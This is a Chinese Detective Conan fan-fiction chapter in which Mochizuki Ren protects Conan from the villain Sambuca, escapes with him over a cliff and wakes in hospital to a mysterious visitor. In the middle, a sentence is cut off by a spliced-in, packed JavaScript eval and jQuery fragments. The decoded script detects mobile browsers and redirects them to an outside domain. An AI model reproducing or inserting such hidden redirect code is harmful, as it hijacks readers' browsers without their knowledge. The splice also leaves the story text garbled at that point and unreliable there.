阴冷的密室,四面是墙,唯有头顶一盏白灯投下微弱的光晕,将空气都压得凝滞沉重。


    他们是被一股蛮力狠狠的推进来,望月莲踉跄一步,脊背撞上冰冷的墙壁,闷哼一声,却第一时间将怀中的柯南护得更紧,用自己的身体缓冲了所有冲击。


    “望月姐姐,”怀中传来男孩的压抑的声音,带着一丝不属于这个年龄的沉重,“我们好像……出不去了。”


    望月莲低下头,对上柯南镜片后那双充满忧惧的眼睛。她没有流露出半分慌乱,只是温柔的揉了揉他柔软的发丝。


    “小侦探,这就认输了吗?”她的声音放得很轻,却带着安抚人心的力量,“我相信你一定听过一句话‘①置之死地而后生’。别忘了,你最擅长的,不就是解开那些看似不可能的谜题吗?”


    察觉到柯南的情绪,望月莲又继续开口,“②在没有福尔摩斯的时候,你不就是我们的福尔摩斯吗?”


    柯南抬起头,似乎还想说什么,嘴唇刚微微张开。


    原本封闭的大门被猛地推开,发出刺耳的声响。


    望月莲几乎是本能的将柯南往身后一拽,自己则挡在前面。可闯入者动作快得惊人,一只冰冷的手如同铁钳般骤然扣住她的手腕,那力道大的几乎要捏碎她的骨头,完全不像出自一个看似孱弱的身躯。


    是桑布卡。


    根本不容反抗,她和柯南就被粗暴的拽着离开房间,扔进了另一个充斥消毒水与金属冰冷气味的房间。


    她几乎一眼瞥见一旁的手推车上,琳琅满目的陈列着各种闪着寒光的手术器具和五颜六色的针管,看的令人头皮发麻。


    看着桑布卡的助手朝着柯南走去,望月莲看着他下意识地开口:“别碰他!对一个孩子下手算什么本事!有什么实验,冲我来!”


    桑布卡缓缓转过头,脸上竟浮现出一个堪称和煦的微笑,然而那双眼睛里却毫无温度,只有一片冰冷的、非人的狂热。


    “当然。”他的声音温柔像毒蛇吐信,“你才是今天最完美的实验素材,我自然会好好‘照顾’。我会把你打造成……最杰出的艺术品。”


    望月莲强压下胃里翻江倒海,齿间都在发颤,却仍挤出一句嘲讽:“艺术品?是变成干尸,还是成为你橱窗里的傀儡?”


    桑布卡不再看她,只一个眼神示意,旁边的助手便粗暴地将她死死按在冰冷的实验台上,皮带紧紧缚住她的四肢。绝望的窒息感扑面而来。


    她眼睁睁的看着桑布卡拿起一只巨大的针管,针尖在冷光下折射出骇人的寒芒。


    他微笑着俯身,针头抵在她的颈动脉。


    “别怕,”他的语气甚至带着一丝诡异的温柔,“很快,你就会获得‘新生’了。”


    冰冷的液体被缓缓推入血管。


    与此同时,一道冰冷的、毫无情绪的系统提示音在她的脑海深处尖锐响起:


    【警告:检测到宿主生命体征极具衰减!强制紧急预案启动:载入四分之一诸伏景光,存活六小时,成人体征限时:五分钟。】


    意识如同退潮般迅速涣散,沉入无边黑暗的前一秒,她模糊的视线最后看到的,是桑布卡拿起另一支针剂,走向了旁边实验台上失去意识的柯南……


    “小清……小清……醒醒。”


    温柔而急促的呼唤穿透意识,望月莲艰难地睁开眼,径直撞入一双熟悉的蓝灰色眼眸。


    诸伏景光正俯身看着她,眼底带着几分担忧。


    “hiro……”她喉间干涩的发疼,几乎挤不出声音。


    “听我说,小清,我只有五分钟。”他声音压得极低,每一个字又轻又促,“我会制造混乱引开注意,你趁那个时候带着孩子走,明白吗?”


    他的话断断续续落在她的耳边,她还欲开口,一个温软的吻却忽然落在她的额间。


    “你说过的,能拯救我们的……只有自己。”他指腹轻轻擦过她的脸颊,声音里带着熟悉的、令人安心的力量,“如果都出去了,我就去公寓等你。如果这次见不到……那就下次再见。”


    望月莲喉咙哽咽,一个字却说不出,只能下意识的攥紧他的衣角,用力摇头。


    “乖,你必须走。”


    她望进他眼底片刻,最终咬着唇,极轻的点了下头。


    诸伏景光迅速拉开门,离开前又一次用力抱了抱她。


    望月莲不再犹豫,一把将仍在昏迷中的柯南牢牢抱进怀里,转身便潜入相反方向的阴影之中。


    她谨慎地避开实验室各处隐蔽的摄像头,望月莲脑中飞速回溯着来时的路径,计算着每一条可能撤离的路线。


    就在心神稍定,以为即将逃出生天时,她却猛地刹住脚步,眼前的景象令她血液几乎冻结。


    这处实验室竟悬于峭壁之巅,唯一的出口分岔为两条绝路:左侧波涛汹涌、一望无际的大海;右侧则是深不见底、云雾缭绕的万丈悬崖。


    生路在此刻,悖论般的化为两道死局。


    正是在这令人绝望的寂静中,怀中的柯南动了一下,悠悠转醒。


    “望月……姐姐?”


    听到那声音带着懵懂与虚弱的呼唤,望月莲深吸一口气,竭力让声音听起来镇定,但干涩的喉咙让她每说一个字都觉得有刀片要刺穿她的喉咙。


    “柯南,你醒了。现在的情况是,我们眼前只有两个抉择:一边是无边大海,另一边是万丈深渊,你说,我们该选哪边?”


    柯南抬起头,那双总是洞悉一切的眼睛在此刻格外凝重:“望月姐姐,你就这么相信我?”


    “当然。”她甚至试图让语调轻松一点,嘴角弯起一个极淡的弧度,“你可是福尔摩斯。而我喜欢莫里亚蒂。你看,我们像不像正站在来莱辛巴赫瀑布之上?”


    柯南无奈地看了她一眼,没有立即接话。


    远处杂乱的脚步声由远及近,桑布卡察觉到他们逃脱了。


    时间正在以秒倒数。


    “如果你不做选择。”望月莲声音沙哑而坚决,“那就由我来选。”


    “跳悬崖。”


    两个人的声音几乎在同一刻重叠。


    没有丝毫犹豫,在黑衣人持枪冲入视野的前一秒,望月莲紧紧抱住柯南,纵身跃入了右侧那片云雾缭绕的深渊。


    在坠落悬崖的那一瞬间,望月莲用尽全身力气将柯南紧紧护在怀中,以自己的脊背对抗下方未知的危险。


    此刻,她的脑中只有一个念头,无论如何,必须让他活下去。


    剧烈的冲击猛地袭来,望月莲闷哼一声,只觉得五脏六腑都在移位,但环抱着柯南的手臂却没有松开分毫,仍然固执地维持着保护的姿态。


    风声在耳边停止,取而代之的是身体撞击地面的钝重声响,以及刹那席卷全身、几乎撕裂意识的剧痛。所有的感官都被无限放大,每一寸骨骼的哀鸣都清晰可感。


    “喂!望月姐姐!你怎么样?”柯南迅速从她怀里挣脱,踉跄地爬起来,小手急切地检查她的状况。


    他几乎毫发无伤,这让他更加明白,所有的冲击都被望月莲一个人承受了。


    望月莲的视线有些涣散,她努力聚焦,看着眼前焦急的小小身影,极轻地动了动唇:“嗯,柯南……我有点累了,想睡一会……”


    她的手勉强抬起,温柔地碰了碰他的头发,随即像是耗尽了所有力气般,软软地垂落下去。


    “望月姐姐!别睡!看着我!望月姐姐……”


    柯南急促的呼唤声是她意识沉入黑暗前最后捕捉到的声音,却仿佛隔着一层厚重的海水,越来越远,越来越模糊……


    一直到万籁俱寂。


    诸伏景光在彻底恢复成孩童模样前,拼死冲出了重重包围。


    此刻浮现出在他脑海中的想法就是,小清怎么样了?她是不是能够安全逃脱?


    他强迫自己冷静下来,思维高速运转,试图代入她的视角。


    这个建造在悬崖峭壁上的实验室,他并非第一次来。


    昔日他曾随琴酒踏入此地,深知这是桑布卡以残酷趣味打造的囚笼,意图是断绝所有生路。


    左边是吞噬一切的茫茫大海,右边是万劫不复的万丈深渊。


    几乎没有过多犹豫,一个答案便清晰地浮现在脑海:是悬崖。她一定会选择右边那条通往万丈悬崖的路。


    他了解她。


    在那样一个时刻,她绝不会优先考虑自身存活几率,而是会毫不犹豫地选择那个能让怀中孩子拥有最大生还可能性的选项,哪怕这条路对她而言,意味着九死一生。


    这个认知让他的心脏骤然揪紧。不再丝毫耽搁,他迅速拨通报警电话,言简意赅,直奔核心。


    望月莲的失踪让桑布卡彻底失了方寸。


    空荡的实验室里,只剩下压抑的空气和他焦躁的脚步声。


    他看着眼前一批批低头垂手的、战战兢兢的黑衣下属,胸口那股无名火越烧越旺,最终猛地爆发出来。


    “废物!”他声音阴冷得能淬出冰,“还愣着干什么!挖地三尺也要把她给我找出来!”


    时间一分一秒地流逝,如同凌迟。


    半个小时后,一个手下几乎是连滚带爬地冲进来,颤抖着汇报了那个让他血液都在一瞬间冻结的消息。


    望月莲带着那个孩子,跳下了实验室外的万丈悬崖。


    桑布卡猛地抬头,眼底是难以置信的惊怒和一丝他自己都未曾察觉的恐慌。


    他盯着那名手下惨白的脸,毫无预兆地抬手,一记狠戾地耳光扇了过去!


    “找!”他几乎是嘶吼出来,声音因失控而微微变调,“活要见人,死……也必须把尸体给我带回来!”


    混乱中,他踉跄着退开两步,背对着噤若寒蝉的众人,颤抖着手拨通了一个专属的号码。


    听筒里传来单调的等待音每响一下,他的心脏就沉下去一分。


    直到那边传来一道低沉冷酷、不带任何情绪的,“说。”


    桑布卡像是被抽走了所有力气,又像是终于找到了某种支柱,声音干涩发紧,带着从未有过的脆弱与惶然:


    “大哥……我好像……做错事了……”


    望月莲是在一阵剧烈的酸疼中恢复意识的。


    她费力地掀开沉重的眼皮,模糊的视线逐渐聚焦,映入眼帘的是一张张担忧的脸庞。


    佐藤美和子、高木涉、目暮十三、还有眼眶微红的毛利兰,以及紧紧抿着唇,守在最前面的柯南。


    她试着动了一下,瞬间倒吸一口冷气,全身的骨头仿佛被碾碎后又勉强拼接起来,无处不在叫嚣着疼痛。


    “小莲!你终于醒了!”佐藤美和子最先发现她的动静,声音带着如释重负的哽咽,“你都昏睡整整三天了!要是再不清醒,我就要去揍扁你的主治医生了!”


    望月莲张了张嘴,喉咙干灼地厉害,发不出一点声音,站在一边的柯南立即拿着吸管让她喝水。


    意识回笼的瞬间,一个身影抢先占据了她全部思绪。


    诸伏景光,他怎么样了?他成功逃出来了吗?还是……


    “小莲姐姐,”一道压抑着情绪的声音打断她的思绪,柯南凑近了些,镜片后的蓝眼睛翻涌着复杂难言的情绪,“谢谢你。”


    望月莲偏过头,对上柯南认真


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371489|183156||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的目光,努力扯出一个苍白却温柔的弧度。


    “柯南没事……就好。”她声音沙哑地几乎听不清,却带着毋庸置疑地坚定,“我们这……也算是一起跳过悬崖的……生死之交了吧。”


    柯南没有回答,只是眼圈更红了些,倔强地不肯移开视线。


    望月莲抬起沉重的手臂,轻轻揉了揉他的头发。


    “对了,小莲,”佐藤美和子像是忽然想起什么,从口袋里小心取出一张折叠整齐的纸条,“这是你弟弟留下的。他说就知道你一定能活下来,还说了些奇奇怪怪的话……”


    望月莲心口猛地一跳,几乎是迫不及待的让佐藤美和子摊开纸条。


    展开,上面是熟悉的笔迹,用的是只有他们两人才懂的中文。


    短短一行字,却像一道光照进心底,瞬间驱散了所有的阴霾与不安。


    “小莲姐姐,柯南都告诉我了。”毛利兰的声音轻柔地带着后怕的颤音,眼眶也跟着红了一圈,“那么高的悬崖,如果不是你拼着护着他……真的谢谢你。”她看着望月莲身上层层叠叠绷带,担忧几乎要溢出来,“伤得这么重,一定很疼很疼,接下来我会经常到医院来照顾小莲姐姐。”


    望月莲看着她真心实意地关切,唇角弯起一个略显虚弱的弧度,轻声道:“这是我的职责。我是警察,保护民众是天职,无论对象是谁,我都会这么做。”


    尽管内心深处有个声音在悄悄反驳:若非是柯南,她或许真的不会如此义无反顾、赌上自己的性命。


    她婉拒了大家想要轮流陪护的好意,再三保证自己只需要安静的休息,才终于劝说了众人各自回去。


    病房门轻轻合上,喧嚣散去,一室寂静。望月莲这才注意到,门边还留着一个小小的身影。


    “怎么了,柯南?”她轻声问道,却丝毫不意外她的去而复返。


    柯南没有立刻回答,只是走上前来,仰起脸。镜片后蓝色眼眸中褪去了孩童的天真,呈现出一种近乎成人的郑重的光芒。


    他注视着她,一字一句,清晰而坚定。


    “小莲姐姐,从今以后,你就是我的自己人了。”


    望月莲微微一怔,随即反应过来。她伸出那只没有输液的手,温柔的揉了揉他的头发,眼底漾开真切的笑意,连身上的伤痛似乎都减轻了几分。


    “好啊!”她笑着应允,“那以后请多指教了,小福尔摩斯。”


    夜色深重,医院走廊空寂得能听见点滴落下的回音。


    望月莲在全身骨骼重塑的疼痛中辗转难眠。


    就在这时,一阵脚步声突兀的在走廊尽头响起。


    那声音不疾不徐,却像重锤般一下下敲击在她的神经上,清晰地向她的病房逼近。


    是谁?


    是桑布卡发现她藏身于此,去而复返?还是组织派来了新的清除者?


    她的心脏在胸腔里疯狂跳动。


    门把手在寂静中缓缓转动,发出细微却令人毛骨悚然地声音。


    这一刻,她连呼吸都停滞了。


    门被推开,两道颀长冰冷的身影侵入这片狭小的空间,阴影瞬间将她笼罩。


    其中一道视线她绝对不会认错:属于桑布卡,与之前不同的是这次目光里没有带着令人不适的审视与狂热,而是带着一股近乎绝望的注视。


    而另一道……更为陌生,却更加危险。


    那道视线的主人不发一言,缓缓走进。


    望月莲死死闭着眼,竭力维持着沉睡的假象,却能感受到那目光如有实质地流连在她脸上。


    突然,颈侧传来冰冷的触感,是一根针管的尖端,精准地压上了她的颈动脉。


    她浑身一僵,却不敢动弹,任由不知名的冰冷液体被缓缓推入血管。


    随之袭来的,是一股陌生又极具侵略性的气息,混合着淡淡烟草味与某种如同雪原寒风般的凛冽。


    下一刻,一个微凉柔软的触感,近乎虔诚地落在她的眉宇之间。


    那是一个轻得像叹息,却又重得如同烙印的吻。


    一声极低、几乎被气流吞没的道歉,擦过她的耳畔。


    “对不起。”


    是谁?


    这个人到底是谁?


    他和她的身份有什么关系?


    强烈的睡意如同黑色的潮水,不容抗拒地席卷了她残存的意识。


    在彻底沉入昏睡的前一秒,一句及其模糊的、破碎的如同梦呓的话,缥缈地钻入她耳中。


    “让苏格兰……照顾好她……”


    苏格兰……不是诸伏景光!


    这个代号像一道惊雷在她的混沌的脑海中瞬间炸开。


    他知道!


    这个人不仅知道她的存在,更清楚她和诸伏景光之间的一切关联,甚至能够精准的使用了那个绝对不能见光、属于组织的代号!


    比注射进血管药剂的恐惧更快的蔓延至四肢百骸。


    一个可怕的念头无法遏制的浮现在眼前。


    他是系统的缔造者吗?


    那个绑定她进行荒岛开发,又进行二次绑定的系统,究竟是什么?


    而望月莲,真正的身份又是什么?


    除了王牌警察这个身份之外,她还有什么其他不可告人的秘密?


    更深的战栗接踵而至。


    这个人……他是否也同样知晓了?


    知晓那些本应早已殉职在回忆里的警校组们和宫野明美她们,如今正以幼小的形态生活在那个岛上的秘密?!


    一股前所未有的、足以将灵魂都冻结的寒意,猛地从心脏最深处迸发,沿着脊椎疯狂蹿升,直冲头顶!